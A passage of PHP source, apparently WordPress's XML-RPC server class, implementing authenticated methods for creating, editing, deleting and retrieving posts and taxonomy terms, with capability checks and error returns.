		if ( isset( $content_struct['post_date_gmt'] ) && ! ( $content_struct['post_date_gmt'] instanceof IXR_Date ) ) {
			if ( '0000-00-00 00:00:00' === $content_struct['post_date_gmt'] || isset( $content_struct['post_date'] ) ) {
				unset( $content_struct['post_date_gmt'] );
			} else {
				$content_struct['post_date_gmt'] = $this->_convert_date( $content_struct['post_date_gmt'] );
			}
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.newPost', $args, $this );

		unset( $content_struct['ID'] );

		return $this->_insert_post( $user, $content_struct );
	}

	/**
	 * Helper method for filtering out elements from an array.
	 *
	 * @since 3.4.0
	 *
	 * @param int $count Number to compare to one.
	 * @return bool True if the number is greater than one, false otherwise.
	 */
	private function _is_greater_than_one( $count ) {
		return $count > 1;
	}

	/**
	 * Encapsulates the logic for sticking a post and determining if
	 * the user has permission to do so.
	 *
	 * @since 4.3.0
	 *
	 * @param array $post_data
	 * @param bool  $update
	 * @return void|IXR_Error
	 */
	private function _toggle_sticky( $post_data, $update = false ) {
		$post_type = get_post_type_object( $post_data['post_type'] );

		// Private and password-protected posts cannot be stickied.
		if ( 'private' === $post_data['post_status'] || ! empty( $post_data['post_password'] ) ) {
			// Error if the client tried to stick the post, otherwise, silently unstick.
			if ( ! empty( $post_data['sticky'] ) ) {
				return new IXR_Error( 401, __( 'Sorry, you cannot stick a private post.' ) );
			}

			if ( $update ) {
				unstick_post( $post_data['ID'] );
			}
		} elseif ( isset( $post_data['sticky'] ) ) {
			if ( ! current_user_can( $post_type->cap->edit_others_posts ) ) {
				return new IXR_Error( 401, __( 'Sorry, you are not allowed to make posts sticky.' ) );
			}

			$sticky = wp_validate_boolean( $post_data['sticky'] );
			if ( $sticky ) {
				stick_post( $post_data['ID'] );
			} else {
				unstick_post( $post_data['ID'] );
			}
		}
	}

	/**
	 * Helper method for wp_newPost() and wp_editPost(), containing shared logic.
	 *
	 * @since 3.4.0
	 *
	 * @see wp_insert_post()
	 *
	 * @param WP_User         $user           The post author if post_author isn't set in $content_struct.
	 * @param array|IXR_Error $content_struct Post data to insert.
	 * @return IXR_Error|string
	 */
	protected function _insert_post( $user, $content_struct ) {
		$defaults = array(
			'post_status'    => 'draft',
			'post_type'      => 'post',
			'post_author'    => 0,
			'post_password'  => '',
			'post_excerpt'   => '',
			'post_content'   => '',
			'post_title'     => '',
			'post_date'      => '',
			'post_date_gmt'  => '',
			'post_format'    => null,
			'post_name'      => null,
			'post_thumbnail' => null,
			'post_parent'    => 0,
			'ping_status'    => '',
			'comment_status' => '',
			'custom_fields'  => null,
			'terms_names'    => null,
			'terms'          => null,
			'sticky'         => null,
			'enclosure'      => null,
			'ID'             => null,
		);

		$post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults );

		$post_type = get_post_type_object( $post_data['post_type'] );
		if ( ! $post_type ) {
			return new IXR_Error( 403, __( 'Invalid post type.' ) );
		}

		$update = ! empty( $post_data['ID'] );

		if ( $update ) {
			if ( ! get_post( $post_data['ID'] ) ) {
				return new IXR_Error( 401, __( 'Invalid post ID.' ) );
			}
			if ( ! current_user_can( 'edit_post', $post_data['ID'] ) ) {
				return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
			}
			if ( get_post_type( $post_data['ID'] ) !== $post_data['post_type'] ) {
				return new IXR_Error( 401, __( 'The post type may not be changed.' ) );
			}
		} else {
			if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( $post_type->cap->edit_posts ) ) {
				return new IXR_Error( 401, __( 'Sorry, you are not allowed to post on this site.' ) );
			}
		}

		switch ( $post_data['post_status'] ) {
			case 'draft':
			case 'pending':
				break;
			case 'private':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new IXR_Error( 401, __( 'Sorry, you are not allowed to create private posts in this post type.' ) );
				}
				break;
			case 'publish':
			case 'future':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts in this post type.' ) );
				}
				break;
			default:
				if ( ! get_post_status_object( $post_data['post_status'] ) ) {
					$post_data['post_status'] = 'draft';
				}
				break;
		}

		if ( ! empty( $post_data['post_password'] ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to create password protected posts in this post type.' ) );
		}

		$post_data['post_author'] = absint( $post_data['post_author'] );
		if ( ! empty( $post_data['post_author'] ) && $post_data['post_author'] != $user->ID ) {
			if ( ! current_user_can( $post_type->cap->edit_others_posts ) ) {
				return new IXR_Error( 401, __( 'Sorry, you are not allowed to create posts as this user.' ) );
			}

			$author = get_userdata( $post_data['post_author'] );

			if ( ! $author ) {
				return new IXR_Error( 404, __( 'Invalid author ID.' ) );
			}
		} else {
			$post_data['post_author'] = $user->ID;
		}

		if ( 'open' !== $post_data['comment_status'] && 'closed' !== $post_data['comment_status'] ) {
			unset( $post_data['comment_status'] );
		}

		if ( 'open' !== $post_data['ping_status'] && 'closed' !== $post_data['ping_status'] ) {
			unset( $post_data['ping_status'] );
		}

		// Do some timestamp voodoo.
		if ( ! empty( $post_data['post_date_gmt'] ) ) {
			// We know this is supposed to be GMT, so we're going to slap that Z on there by force.
			$dateCreated = rtrim( $post_data['post_date_gmt']->getIso(), 'Z' ) . 'Z';
		} elseif ( ! empty( $post_data['post_date'] ) ) {
			$dateCreated = $post_data['post_date']->getIso();
		}

		// Default to not flagging the post date to be edited unless it's intentional.
		$post_data['edit_date'] = false;

		if ( ! empty( $dateCreated ) ) {
			$post_data['post_date']     = iso8601_to_datetime( $dateCreated );
			$post_data['post_date_gmt'] = iso8601_to_datetime( $dateCreated, 'gmt' );

			// Flag the post date to be edited.
			$post_data['edit_date'] = true;
		}

		if ( ! isset( $post_data['ID'] ) ) {
			$post_data['ID'] = get_default_post_to_edit( $post_data['post_type'], true )->ID;
		}
		$post_id = $post_data['ID'];

		if ( 'post' === $post_data['post_type'] ) {
			$error = $this->_toggle_sticky( $post_data, $update );
			if ( $error ) {
				return $error;
			}
		}

		if ( isset( $post_data['post_thumbnail'] ) ) {
			// Empty value deletes, non-empty value adds/updates.
			if ( ! $post_data['post_thumbnail'] ) {
				delete_post_thumbnail( $post_id );
			} elseif ( ! get_post( absint( $post_data['post_thumbnail'] ) ) ) {
				return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
			}
			set_post_thumbnail( $post_id, $post_data['post_thumbnail'] );
			unset( $content_struct['post_thumbnail'] );
		}

		if ( isset( $post_data['custom_fields'] ) ) {
			$this->set_custom_fields( $post_id, $post_data['custom_fields'] );
		}

		if ( isset( $post_data['terms'] ) || isset( $post_data['terms_names'] ) ) {
			$post_type_taxonomies = get_object_taxonomies( $post_data['post_type'], 'objects' );

			// Accumulate term IDs from terms and terms_names.
			$terms = array();

			// First validate the terms specified by ID.
			if ( isset( $post_data['terms'] ) && is_array( $post_data['terms'] ) ) {
				$taxonomies = array_keys( $post_data['terms'] );

				// Validating term IDs.
				foreach ( $taxonomies as $taxonomy ) {
					if ( ! array_key_exists( $taxonomy, $post_type_taxonomies ) ) {
						return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) );
					}

					if ( ! current_user_can( $post_type_taxonomies[ $taxonomy ]->cap->assign_terms ) ) {
						return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) );
					}

					$term_ids           = $post_data['terms'][ $taxonomy ];
					$terms[ $taxonomy ] = array();
					foreach ( $term_ids as $term_id ) {
						$term = get_term_by( 'id', $term_id, $taxonomy );

						if ( ! $term ) {
							return new IXR_Error( 403, __( 'Invalid term ID.' ) );
						}

						$terms[ $taxonomy ][] = (int) $term_id;
					}
				}
			}

			// Now validate terms specified by name.
			if ( isset( $post_data['terms_names'] ) && is_array( $post_data['terms_names'] ) ) {
				$taxonomies = array_keys( $post_data['terms_names'] );

				foreach ( $taxonomies as $taxonomy ) {
					if ( ! array_key_exists( $taxonomy, $post_type_taxonomies ) ) {
						return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) );
					}

					if ( ! current_user_can( $post_type_taxonomies[ $taxonomy ]->cap->assign_terms ) ) {
						return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) );
					}

					/*
					 * For hierarchical taxonomies, we can't assign a term when multiple terms
					 * in the hierarchy share the same name.
					 */
					$ambiguous_terms = array();
					if ( is_taxonomy_hierarchical( $taxonomy ) ) {
						$tax_term_names = get_terms(
							array(
								'taxonomy'   => $taxonomy,
								'fields'     => 'names',
								'hide_empty' => false,
							)
						);

						// Count the number of terms with the same name.
						$tax_term_names_count = array_count_values( $tax_term_names );

						// Filter out non-ambiguous term names.
						$ambiguous_tax_term_counts = array_filter( $tax_term_names_count, array( $this, '_is_greater_than_one' ) );

						$ambiguous_terms = array_keys( $ambiguous_tax_term_counts );
					}

					$term_names = $post_data['terms_names'][ $taxonomy ];
					foreach ( $term_names as $term_name ) {
						if ( in_array( $term_name, $ambiguous_terms, true ) ) {
							return new IXR_Error( 401, __( 'Ambiguous term name used in a hierarchical taxonomy. Please use term ID instead.' ) );
						}

						$term = get_term_by( 'name', $term_name, $taxonomy );

						if ( ! $term ) {
							// Term doesn't exist, so check that the user is allowed to create new terms.
							if ( ! current_user_can( $post_type_taxonomies[ $taxonomy ]->cap->edit_terms ) ) {
								return new IXR_Error( 401, __( 'Sorry, you are not allowed to add a term to one of the given taxonomies.' ) );
							}

							// Create the new term.
							$term_info = wp_insert_term( $term_name, $taxonomy );
							if ( is_wp_error( $term_info ) ) {
								return new IXR_Error( 500, $term_info->get_error_message() );
							}

							$terms[ $taxonomy ][] = (int) $term_info['term_id'];
						} else {
							$terms[ $taxonomy ][] = (int) $term->term_id;
						}
					}
				}
			}

			$post_data['tax_input'] = $terms;
			unset( $post_data['terms'], $post_data['terms_names'] );
		}

		if ( isset( $post_data['post_format'] ) ) {
			$format = set_post_format( $post_id, $post_data['post_format'] );

			if ( is_wp_error( $format ) ) {
				return new IXR_Error( 500, $format->get_error_message() );
			}

			unset( $post_data['post_format'] );
		}

		// Handle enclosures.
		$enclosure = isset( $post_data['enclosure'] ) ? $post_data['enclosure'] : null;
		$this->add_enclosure_if_new( $post_id, $enclosure );

		$this->attach_uploads( $post_id, $post_data['post_content'] );

		/**
		 * Filters post data array to be inserted via XML-RPC.
		 *
		 * @since 3.4.0
		 *
		 * @param array $post_data      Parsed array of post data.
		 * @param array $content_struct Post data array.
		 */
		$post_data = apply_filters( 'xmlrpc_wp_insert_post_data', $post_data, $content_struct );

		// Remove all null values to allow for using the insert/update post default values for those keys instead.
		$post_data = array_filter(
			$post_data,
			static function ( $value ) {
				return null !== $value;
			}
		);

		$post_id = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true );
		if ( is_wp_error( $post_id ) ) {
			return new IXR_Error( 500, $post_id->get_error_message() );
		}

		if ( ! $post_id ) {
			if ( $update ) {
				return new IXR_Error( 401, __( 'Sorry, the post could not be updated.' ) );
			} else {
				return new IXR_Error( 401, __( 'Sorry, the post could not be created.' ) );
			}
		}

		return (string) $post_id;
	}

	/**
	 * Edits a post for any registered post type.
	 *
	 * The $content_struct parameter only needs to contain fields that
	 * should be changed. All other fields will retain their existing values.
	 *
	 * @since 3.4.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Post ID.
	 *     @type array  $4 Extra content arguments.
	 * }
	 * @return true|IXR_Error True on success, IXR_Error on failure.
	 */
	public function wp_editPost( $args ) {
		if ( ! $this->minimum_args( $args, 5 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username       = $args[1];
		$password       = $args[2];
		$post_id        = (int) $args[3];
		$content_struct = $args[4];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.editPost', $args, $this );

		$post = get_post( $post_id, ARRAY_A );

		if ( empty( $post['ID'] ) ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( isset( $content_struct['if_not_modified_since'] ) ) {
			// If the post has been modified since the date provided, return an error.
			if ( mysql2date( 'U', $post['post_modified_gmt'] ) > $content_struct['if_not_modified_since']->getTimestamp() ) {
				return new IXR_Error( 409, __( 'There is a revision of this post that is more recent.' ) );
			}
		}

		// Convert the date field back to IXR form.
		$post['post_date'] = $this->_convert_date( $post['post_date'] );

		/*
		 * Ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct,
		 * since _insert_post() will ignore the non-GMT date if the GMT date is set.
		 */
		if ( '0000-00-00 00:00:00' === $post['post_date_gmt'] || isset( $content_struct['post_date'] ) ) {
			unset( $post['post_date_gmt'] );
		} else {
			$post['post_date_gmt'] = $this->_convert_date( $post['post_date_gmt'] );
		}

		/*
		 * If the API client did not provide 'post_date', then we must not perpetuate the value that
		 * was stored in the database, or it will appear to be an intentional edit. Conveying it here
		 * as if it was coming from the API client will cause an otherwise zeroed out 'post_date_gmt'
		 * to get set with the value that was originally stored in the database when the draft was created.
		 */
		if ( ! isset( $content_struct['post_date'] ) ) {
			unset( $post['post_date'] );
		}

		$this->escape( $post );
		$merged_content_struct = array_merge( $post, $content_struct );

		$retval = $this->_insert_post( $user, $merged_content_struct );
		if ( $retval instanceof IXR_Error ) {
			return $retval;
		}

		return true;
	}

	/**
	 * Deletes a post for any registered post type.
	 *
	 * @since 3.4.0
	 *
	 * @see wp_delete_post()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Post ID.
	 * }
	 * @return true|IXR_Error True on success, IXR_Error instance on failure.
	 */
	public function wp_deletePost( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$post_id  = (int) $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.deletePost', $args, $this );

		$post = get_post( $post_id, ARRAY_A );
		if ( empty( $post['ID'] ) ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this post.' ) );
		}

		$result = wp_delete_post( $post_id );

		if ( ! $result ) {
			return new IXR_Error( 500, __( 'Sorry, the post could not be deleted.' ) );
		}

		return true;
	}

	/**
	 * Retrieves a post.
	 *
	 * @since 3.4.0
	 *
	 * The optional $fields parameter specifies what fields will be included
	 * in the response array. This should be a list of field names. 'post_id' will
	 * always be included in the response regardless of the value of $fields.
	 *
	 * Instead of, or in addition to, individual field names, conceptual group
	 * names can be used to specify multiple fields. The available conceptual
	 * groups are 'post' (all basic fields), 'taxonomies', 'custom_fields',
	 * and 'enclosure'.
	 *
	 * @see get_post()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Post ID.
	 *     @type array  $4 Optional. The subset of post type fields to return.
	 * }
	 * @return array|IXR_Error Array contains (based on $fields parameter):
	 *  - 'post_id'
	 *  - 'post_title'
	 *  - 'post_date'
	 *  - 'post_date_gmt'
	 *  - 'post_modified'
	 *  - 'post_modified_gmt'
	 *  - 'post_status'
	 *  - 'post_type'
	 *  - 'post_name'
	 *  - 'post_author'
	 *  - 'post_password'
	 *  - 'post_excerpt'
	 *  - 'post_content'
	 *  - 'link'
	 *  - 'comment_status'
	 *  - 'ping_status'
	 *  - 'sticky'
	 *  - 'custom_fields'
	 *  - 'terms'
	 *  - 'categories'
	 *  - 'tags'
	 *  - 'enclosure'
	 */
	public function wp_getPost( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$post_id  = (int) $args[3];

		if ( isset( $args[4] ) ) {
			$fields = $args[4];
		} else {
			/**
			 * Filters the default post query fields used by the given XML-RPC method.
			 *
			 * @since 3.4.0
			 *
			 * @param array  $fields An array of post fields to retrieve. By default,
			 *                       contains 'post', 'terms', and 'custom_fields'.
			 * @param string $method Method name.
			 */
			$fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPost' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPost', $args, $this );

		$post = get_post( $post_id, ARRAY_A );

		if ( empty( $post['ID'] ) ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
		}

		return $this->_prepare_post( $post, $fields );
	}

	/**
	 * Retrieves posts.
	 *
	 * @since 3.4.0
	 *
	 * @see wp_get_recent_posts()
	 * @see wp_getPost() for more on `$fields`
	 * @see get_posts() for more on `$filter` values
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Optional. Modifies the query used to retrieve posts. Accepts 'post_type',
	 *                     'post_status', 'number', 'offset', 'orderby', 's', and 'order'.
	 *                     Default empty array.
	 *     @type array  $4 Optional. The subset of post type fields to return in the response array.
	 * }
	 * @return array|IXR_Error Array containing a collection of posts.
	 */
	public function wp_getPosts( $args ) {
		if ( ! $this->minimum_args( $args, 3 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$filter   = isset( $args[3] ) ? $args[3] : array();

		if ( isset( $args[4] ) ) {
			$fields = $args[4];
		} else {
			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
			$fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPosts' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPosts', $args, $this );

		$query = array();

		if ( isset( $filter['post_type'] ) ) {
			$post_type = get_post_type_object( $filter['post_type'] );
			if ( ! ( (bool) $post_type ) ) {
				return new IXR_Error( 403, __( 'Invalid post type.' ) );
			}
		} else {
			$post_type = get_post_type_object( 'post' );
		}

		if ( ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
		}

		$query['post_type'] = $post_type->name;

		if ( isset( $filter['post_status'] ) ) {
			$query['post_status'] = $filter['post_status'];
		}

		if ( isset( $filter['number'] ) ) {
			$query['numberposts'] = absint( $filter['number'] );
		}

		if ( isset( $filter['offset'] ) ) {
			$query['offset'] = absint( $filter['offset'] );
		}

		if ( isset( $filter['orderby'] ) ) {
			$query['orderby'] = $filter['orderby'];

			if ( isset( $filter['order'] ) ) {
				$query['order'] = $filter['order'];
			}
		}

		if ( isset( $filter['s'] ) ) {
			$query['s'] = $filter['s'];
		}

		$posts_list = wp_get_recent_posts( $query );

		if ( ! $posts_list ) {
			return array();
		}

		// Holds all the posts data.
		$struct = array();

		foreach ( $posts_list as $post ) {
			if ( ! current_user_can( 'edit_post', $post['ID'] ) ) {
				continue;
			}

			$struct[] = $this->_prepare_post( $post, $fields );
		}

		return $struct;
	}

	/**
	 * Creates a new term.
	 *
	 * @since 3.4.0
	 *
	 * @see wp_insert_term()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Content struct for adding a new term. The struct must contain
	 *                     the term 'name' and 'taxonomy'. Optional accepted values include
	 *                     'parent', 'description', and 'slug'.
	 * }
	 * @return int|IXR_Error The term ID on success, or an IXR_Error object on failure.
	 */
	public function wp_newTerm( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username       = $args[1];
		$password       = $args[2];
		$content_struct = $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.newTerm', $args, $this );

		if ( ! taxonomy_exists( $content_struct['taxonomy'] ) ) {
			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
		}

		$taxonomy = get_taxonomy( $content_struct['taxonomy'] );

		if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to create terms in this taxonomy.' ) );
		}

		$taxonomy = (array) $taxonomy;

		// Hold the data of the term.
		$term_data = array();

		$term_data['name'] = trim( $content_struct['name'] );
		if ( empty( $term_data['name'] ) ) {
			return new IXR_Error( 403, __( 'The term name cannot be empty.' ) );
		}

		if ( isset( $content_struct['parent'] ) ) {
			if ( ! $taxonomy['hierarchical'] ) {
				return new IXR_Error( 403, __( 'This taxonomy is not hierarchical.' ) );
			}

			$parent_term_id = (int) $content_struct['parent'];
			$parent_term    = get_term( $parent_term_id, $taxonomy['name'] );

			if ( is_wp_error( $parent_term ) ) {
				return new IXR_Error( 500, $parent_term->get_error_message() );
			}

			if ( ! $parent_term ) {
				return new IXR_Error( 403, __( 'Parent term does not exist.' ) );
			}

			$term_data['parent'] = $content_struct['parent'];
		}

		if ( isset( $content_struct['description'] ) ) {
			$term_data['description'] = $content_struct['description'];
		}

		if ( isset( $content_struct['slug'] ) ) {
			$term_data['slug'] = $content_struct['slug'];
		}

		$term = wp_insert_term( $term_data['name'], $taxonomy['name'], $term_data );

		if ( is_wp_error( $term ) ) {
			return new IXR_Error( 500, $term->get_error_message() );
		}

		if ( ! $term ) {
			return new IXR_Error( 500, __( 'Sorry, the term could not be created.' ) );
		}

		// Add term meta.
		if ( isset( $content_struct['custom_fields'] ) ) {
			$this->set_term_custom_fields( $term['term_id'], $content_struct['custom_fields'] );
		}

		return (string) $term['term_id'];
	}

	/**
	 * Edits a term.
	 *
	 * @since 3.4.0
	 *
	 * @see wp_update_term()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Term ID.
	 *     @type array  $4 Content struct for editing a term. The struct must contain the
	 *                     term 'taxonomy'. Optional accepted values include 'name', 'parent',
	 *                     'description', and 'slug'.
	 * }
	 * @return true|IXR_Error True on success, IXR_Error instance on failure.
	 */
	public function wp_editTerm( $args ) {
		if ( ! $this->minimum_args( $args, 5 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username       = $args[1];
		$password       = $args[2];
		$term_id        = (int) $args[3];
		$content_struct = $args[4];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.editTerm', $args, $this );

		if ( ! taxonomy_exists( $content_struct['taxonomy'] ) ) {
			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
		}

		$taxonomy = get_taxonomy( $content_struct['taxonomy'] );

		$taxonomy = (array) $taxonomy;

		// Hold the data of the term.
		$term_data = array();

		$term = get_term( $term_id, $content_struct['taxonomy'] );

		if ( is_wp_error( $term ) ) {
			return new IXR_Error( 500, $term->get_error_message() );
		}

		if ( ! $term ) {
			return new IXR_Error( 404, __( 'Invalid term ID.' ) );
		}

		if ( ! current_user_can( 'edit_term', $term_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this term.' ) );
		}

		if ( isset( $content_struct['name'] ) ) {
			$term_data['name'] = trim( $content_struct['name'] );

			if ( empty( $term_data['name'] ) ) {
				return new IXR_Error( 403, __( 'The term name cannot be empty.' ) );
			}
		}

		if ( ! empty( $content_struct['parent'] ) ) {
			if ( ! $taxonomy['hierarchical'] ) {
				return new IXR_Error( 403, __( 'Cannot set parent term, taxonomy is not hierarchical.' ) );
			}

			$parent_term_id = (int) $content_struct['parent'];
			$parent_term    = get_term( $parent_term_id, $taxonomy['name'] );

			if ( is_wp_error( $parent_term ) ) {
				return new IXR_Error( 500, $parent_term->get_error_message() );
			}

			if ( ! $parent_term ) {
				return new IXR_Error( 403, __( 'Parent term does not exist.' ) );
			}

			$term_data['parent'] = $content_struct['parent'];
		}

		if ( isset( $content_struct['description'] ) ) {
			$term_data['description'] = $content_struct['description'];
		}

		if ( isset( $content_struct['slug'] ) ) {
			$term_data['slug'] = $content_struct['slug'];
		}

		$term = wp_update_term( $term_id, $taxonomy['name'], $term_data );

		if ( is_wp_error( $term ) ) {
			return new IXR_Error( 500, $term->get_error_message() );
		}

		if ( ! $term ) {
			return new IXR_Error( 500, __( 'Sorry, editing the term failed.' ) );
		}

		// Update term meta.
		if ( isset( $content_struct['custom_fields'] ) ) {
			$this->set_term_custom_fields( $term_id, $content_struct['custom_fields'] );
		}

		return true;
	}

	/**
	 * Deletes a term.
	 *
	 * @since 3.4.0
	 *
	 * @see wp_delete_term()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type string $3 Taxonomy name.
	 *     @type int    $4 Term ID.
	 * }
	 * @return true|IXR_Error True on success, IXR_Error instance on failure.
	 */
	public function wp_deleteTerm( $args ) {
		if ( ! $this->minimum_args( $args, 5 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$taxonomy = $args[3];
		$term_id  = (int) $args[4];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.deleteTerm', $args, $this );

		if ( ! taxonomy_exists( $taxonomy ) ) {
			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
		}

		$taxonomy = get_taxonomy( $taxonomy );
		$term     = get_term( $term_id, $taxonomy->name );

		if ( is_wp_error( $term ) ) {
			return new IXR_Error( 500, $term->get_error_message() );
		}

		if ( ! $term ) {
			return new IXR_Error( 404, __( 'Invalid term ID.' ) );
		}

		if ( ! current_user_can( 'delete_term', $term_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this term.' ) );
		}

		$result = wp_delete_term( $term_id, $taxonomy->name );

		if ( is_wp_error( $result ) ) {
			return new IXR_Error( 500, $term->get_error_message() );
		}

		if ( ! $result ) {
			return new IXR_Error( 500, __( 'Sorry, deleting the term failed.' ) );
		}

		return $result;
	}

	/**
	 * Retrieves a term.
	 *
	 * @since 3.4.0
	 *
	 * @see get_term()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type string $3 Taxonomy name.
	 *     @type int    $4 Term ID.
	 * }
	 * @return array|IXR_Error IXR_Error on failure, array on success, containing:
	 *  - 'term_id'
	 *  - 'name'
	 *  - 'slug'
	 *  - 'term_group'
	 *  - 'term_taxonomy_id'
	 *  - 'taxonomy'
	 *  - 'description'
	 *  - 'parent'
	 *  - 'count'
	 */
	public function wp_getTerm( $args ) {
		if ( ! $this->minimum_args( $args, 5 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$taxonomy = $args[3];
		$term_id  = (int) $args[4];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getTerm', $args, $this );

		if ( ! taxonomy_exists( $taxonomy ) ) {
			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
		}

		$taxonomy = get_taxonomy( $taxonomy );

		$term = get_term( $term_id, $taxonomy->name, ARRAY_A );

		if ( is_wp_error( $term ) ) {
			return new IXR_Error( 500, $term->get_error_message() );
		}

		if ( ! $term ) {
			return new IXR_Error( 404, __( 'Invalid term ID.' ) );
		}

		if ( ! current_user_can( 'assign_term', $term_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign this term.' ) );
		}

		return $this->_prepare_term( $term );
	}

	/**
	 * Retrieves all terms for a taxonomy.
	 *
	 * @since 3.4.0
	 *
	 * The optional $filter parameter modifies the query used to retrieve terms.
	 * Accepted keys are 'number', 'offset', 'orderby', 'order', 'hide_empty', and 'search'.
	 *
	 * @see get_terms()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type string $3 Taxonomy name.
	 *     @type array  $4 Optional. Modifies the query used to retrieve posts. Accepts 'number',
	 *                     'offset', 'orderby', 'order', 'hide_empty', and 'search'. Default empty array.
	 * }
